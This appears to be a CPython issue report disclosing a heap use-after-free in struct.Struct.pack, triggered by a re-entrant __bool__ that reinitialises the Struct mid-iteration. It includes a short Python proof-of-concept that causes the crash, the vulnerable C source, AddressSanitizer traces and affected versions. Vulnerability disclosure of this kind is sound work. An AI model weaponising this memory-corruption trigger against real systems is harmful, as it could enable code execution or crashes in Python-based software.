Use-after-free in `s_pack_internal` via re-entrant `__bool__`
What happened?
Struct.pack() iterates over soself->s_codes. For '?', np_bool calls PyObject_IsTrue(arg), which can run user __bool__. A re-entrant __bool__ that calls Struct.__init__() rebuilds the format and frees the old s_codes array while s_pack_internal is still iterating. The loop then dereferences the stale formatcode pointer (code->...), triggering a heap-use-after-free in s_pack_internal.
Proof of Concept:
import struct S = struct.Struct('?I') class Evil(): def __bool__(self): # Reinitialize the struct while Struct.pack() is iterating over s_codes. # The new format frees the previous codes array, leaving the active # iterator with dangling pointers. S.__init__('I') return True S.pack(Evil(), 0)
Affected Versions:
Details
| Python Version | Status | Exit Code |
|---|---|---|
Python 3.9.24+ (heads/3.9:9c4638d, Oct 17 2025, 11:19:30) |
ASAN | 1 |
Python 3.10.19+ (heads/3.10:0142619, Oct 17 2025, 11:20:05) [GCC 13.3.0] |
ASAN | 1 |
Python 3.11.14+ (heads/3.11:88f3f5b, Oct 17 2025, 11:20:44) [GCC 13.3.0] |
ASAN | 1 |
Python 3.12.12+ (heads/3.12:8cb2092, Oct 17 2025, 11:21:35) [GCC 13.3.0] |
ASAN | 1 |
Python 3.13.9+ (heads/3.13:0760a57, Oct 17 2025, 11:22:25) [GCC 13.3.0] |
ASAN | 1 |
Python 3.14.0+ (heads/3.14:889e918, Oct 17 2025, 11:23:02) [GCC 13.3.0] |
ASAN | 1 |
Python 3.15.0a1+ (heads/main:fbf0843, Oct 17 2025, 11:23:37) [GCC 13.3.0] |
ASAN | 1 |
Vulnerable Code Snippet:
Click to expand
/* Buggy Re-entrant Path */ /* * Guts of the pack function. * * Takes a struct object, a tuple of arguments, and offset in that tuple of * argument for where to start processing the arguments for packing, and a * character buffer for writing the packed string. The caller must insure * that the buffer may contain the required length for packing the arguments. * 0 is returned on success, 1 is returned if there is an error. * */ static int s_pack_internal(PyStructObject *soself, PyObject *const *args, int offset, char* buf, _structmodulestate *state) { formatcode *code; /* XXX(nnorwitz): why does i need to be a local? can we use the offset parameter or do we need the wider width? */ Py_ssize_t i; memset(buf, '\0', soself->s_size); i = offset; for (code = soself->s_codes; code->fmtdef != NULL; code++) { /* crashing pointer derived */ const formatdef *e = code->fmtdef; /* Crash site */ char *res = buf + code->offset; Py_ssize_t j = code->repeat; while (j--) { PyObject *v = args[i++]; if (e->format == 's') { Py_ssize_t n; int isstring; const void *p; isstring = PyBytes_Check(v); if (!isstring && !PyByteArray_Check(v)) { PyErr_SetString(state->StructError, "argument for 's' must be a bytes object"); return -1; } if (isstring) { n = PyBytes_GET_SIZE(v); p = PyBytes_AS_STRING(v); } else { n = PyByteArray_GET_SIZE(v); p = PyByteArray_AS_STRING(v); } if (n > code->size) n = code->size; if (n > 0) memcpy(res, p, n); } else if (e->format == 'p') { Py_ssize_t n; int isstring; const void *p; isstring = PyBytes_Check(v); if (!isstring && !PyByteArray_Check(v)) { PyErr_SetString(state->StructError, "argument for 'p' must be a bytes object"); return -1; } if (isstring) { n = PyBytes_GET_SIZE(v); p = PyBytes_AS_STRING(v); } else { n = PyByteArray_GET_SIZE(v); p = PyByteArray_AS_STRING(v); } if (code->size == 0) { n = 0; } else if (n > (code->size - 1)) { n = code->size - 1; } if (n > 0) memcpy(res + 1, p, n); if (n > 255) n = 255; *res = Py_SAFE_DOWNCAST(n, Py_ssize_t, unsigned char); } else { if (e->pack(state, res, v, e) < 0) { if (PyLong_Check(v) && PyErr_ExceptionMatches(PyExc_OverflowError)) PyErr_SetString(state->StructError, "int too large to convert"); return -1; } } res += code->size; } } /* Success */ return 0; } static int np_bool(_structmodulestate *state, char *p, PyObject *v, const formatdef *f) { int y; _Bool x; y = PyObject_IsTrue(v); /* Reentrant call site */ if (y < 0) return -1; x = y; memcpy(p, &x, sizeof x); return 0; } /* Clobbering Path */ static int Struct___init___impl(PyStructObject *self, PyObject *format) { /* ... */ Py_SETREF(self->s_format, format); return prepare_s(self); } static int prepare_s(PyStructObject *self) { /* ... */ if (self->s_codes != NULL) PyMem_Free(self->s_codes); /* state mutate site */ self->s_codes = codes; /* ... */ return 0; }
Sanitizer Output:
Click to expand
=================================================================
==1556376==ERROR: AddressSanitizer: heap-use-after-free on address 0x50c00001dbe0 at pc 0x7cab79d66817 bp 0x7ffeb5e74870 sp 0x7ffeb5e74860
READ of size 8 at 0x50c00001dbe0 thread T0
#0 0x7cab79d66816 in s_pack_internal Modules/_struct.c:2173
#1 0x7cab79d6705a in s_pack Modules/_struct.c:2214
#2 0x56312cfa56ed in method_vectorcall_FASTCALL Objects/descrobject.c:402
#3 0x56312cf85e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#4 0x56312cf85f72 in PyObject_Vectorcall Objects/call.c:327
#5 0x56312d204056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
#6 0x56312d247e54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#7 0x56312d248148 in _PyEval_Vector Python/ceval.c:2001
#8 0x56312d2483f8 in PyEval_EvalCode Python/ceval.c:884
#9 0x56312d33f507 in run_eval_code_obj Python/pythonrun.c:1365
#10 0x56312d33f723 in run_mod Python/pythonrun.c:1459
#11 0x56312d34057a in pyrun_file Python/pythonrun.c:1293
#12 0x56312d343220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
#13 0x56312d3434f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
#14 0x56312d39474d in pymain_run_file_obj Modules/main.c:410
#15 0x56312d3949b4 in pymain_run_file Modules/main.c:429
#16 0x56312d3961b2 in pymain_run_python Modules/main.c:691
#17 0x56312d396842 in Py_RunMain Modules/main.c:772
#18 0x56312d396a2e in pymain_main Modules/main.c:802
#19 0x56312d396db3 in Py_BytesMain Modules/main.c:826
#20 0x56312ce1a645 in main Programs/python.c:15
#21 0x7cab7a62a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#22 0x7cab7a62a28a in __libc_start_main_impl ../csu/libc-start.c:360
#23 0x56312ce1a574 in _start (/home/jackfromeast/Desktop/entropy/tasks/grammar-afl++-latest/targets/cpython/python+0x2dd574) (BuildId: ff3dc40ea460bd4beb2c3a72283cca525b319bf0)
0x50c00001dbe0 is located 32 bytes inside of 120-byte region [0x50c00001dbc0,0x50c00001dc38)
freed by thread T0 here:
#0 0x7cab7aafc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
#1 0x56312d04c96d in _PyMem_RawFree Objects/obmalloc.c:91
#2 0x56312d04ecd9 in _PyMem_DebugRawFree Objects/obmalloc.c:2955
#3 0x56312d04ed1a in _PyMem_DebugFree Objects/obmalloc.c:3100
#4 0x56312d076348 in PyMem_Free Objects/obmalloc.c:1070
#5 0x7cab79d652ce in prepare_s Modules/_struct.c:1662
#6 0x7cab79d657ec in Struct___init___impl Modules/_struct.c:1771
#7 0x7cab79d659cf in Struct___init__ Modules/clinic/_struct.c.h:68
#8 0x56312d0916b3 in wrap_init Objects/typeobject.c:10073
#9 0x56312cfa4651 in wrapperdescr_raw_call Objects/descrobject.c:523
#10 0x56312cfa4f48 in wrapperdescr_call Objects/descrobject.c:570
#11 0x56312cf85c71 in _PyObject_MakeTpCall Objects/call.c:242
#12 0x56312cf85f19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167
#13 0x56312cf85f72 in PyObject_Vectorcall Objects/call.c:327
#14 0x56312d204056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
#15 0x56312d247e54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#16 0x56312d248148 in _PyEval_Vector Python/ceval.c:2001
#17 0x56312cf859b8 in _PyFunction_Vectorcall Objects/call.c:413
#18 0x56312cf85e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#19 0x56312cf8603f in PyObject_CallOneArg Objects/call.c:395
#20 0x56312d098648 in call_unbound_noarg Objects/typeobject.c:3040
#21 0x56312d0b3fa0 in maybe_call_special_no_args Objects/typeobject.c:3153
#22 0x56312d0b42c2 in slot_nb_bool Objects/typeobject.c:10464
#23 0x56312d0425b0 in PyObject_IsTrue Objects/object.c:2060
#24 0x7cab79d622b6 in np_bool Modules/_struct.c:743
#25 0x7cab79d66689 in s_pack_internal Modules/_struct.c:2166
#26 0x7cab79d6705a in s_pack Modules/_struct.c:2214
#27 0x56312cfa56ed in method_vectorcall_FASTCALL Objects/descrobject.c:402
#28 0x56312cf85e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
#29 0x56312cf85f72 in PyObject_Vectorcall Objects/call.c:327
previously allocated by thread T0 here:
#0 0x7cab7aafd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x56312d04d284 in _PyMem_RawMalloc Objects/obmalloc.c:63
#2 0x56312d04c655 in _PyMem_DebugRawAlloc Objects/obmalloc.c:2887
#3 0x56312d04c6bd in _PyMem_DebugRawMalloc Objects/obmalloc.c:2920
#4 0x56312d04df3b in _PyMem_DebugMalloc Objects/obmalloc.c:3085
#5 0x56312d076204 in PyMem_Malloc Objects/obmalloc.c:1041
#6 0x7cab79d6529c in prepare_s Modules/_struct.c:1655
#7 0x7cab79d657ec in Struct___init___impl Modules/_struct.c:1771
#8 0x7cab79d659cf in Struct___init__ Modules/clinic/_struct.c.h:68
#9 0x56312d0ac3c0 in type_call Objects/typeobject.c:2460
#10 0x56312cf85c71 in _PyObject_MakeTpCall Objects/call.c:242
#11 0x56312cf85f19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167
#12 0x56312cf85f72 in PyObject_Vectorcall Objects/call.c:327
#13 0x56312d204056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
#14 0x56312d247e54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
#15 0x56312d248148 in _PyEval_Vector Python/ceval.c:2001
#16 0x56312d2483f8 in PyEval_EvalCode Python/ceval.c:884
#17 0x56312d33f507 in run_eval_code_obj Python/pythonrun.c:1365
#18 0x56312d33f723 in run_mod Python/pythonrun.c:1459
#19 0x56312d34057a in pyrun_file Python/pythonrun.c:1293
#20 0x56312d343220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
#21 0x56312d3434f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
#22 0x56312d39474d in pymain_run_file_obj Modules/main.c:410
#23 0x56312d3949b4 in pymain_run_file Modules/main.c:429
#24 0x56312d3961b2 in pymain_run_python Modules/main.c:691
#25 0x56312d396842 in Py_RunMain Modules/main.c:772
#26 0x56312d396a2e in pymain_main Modules/main.c:802
#27 0x56312d396db3 in Py_BytesMain Modules/main.c:826
#28 0x56312ce1a645 in main Programs/python.c:15
#29 0x7cab7a62a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-use-after-free Modules/_struct.c:2173 in s_pack_internal
Shadow bytes around the buggy address:
0x50c00001d900: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
0x50c00001d980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x50c00001da00: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x50c00001da80: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x50c00001db00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
=>0x50c00001db80: fa fa fa fa fa fa fa fa fd fd fd fd[fd]fd fd fd
0x50c00001dc00: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x50c00001dc80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x50c00001dd00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x50c00001dd80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x50c00001de00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1556376==ABORTING
CPython versions tested on:
3.9, 3.10, 3.11, 3.12, 3.13, 3.14, 3.15
Operating systems tested on:
Linux
Output from running 'python -VV' on the command line:
Python 3.10.19+ (heads/3.10:0142619, Oct 17 2025, 11:20:05) [GCC 13.3.0]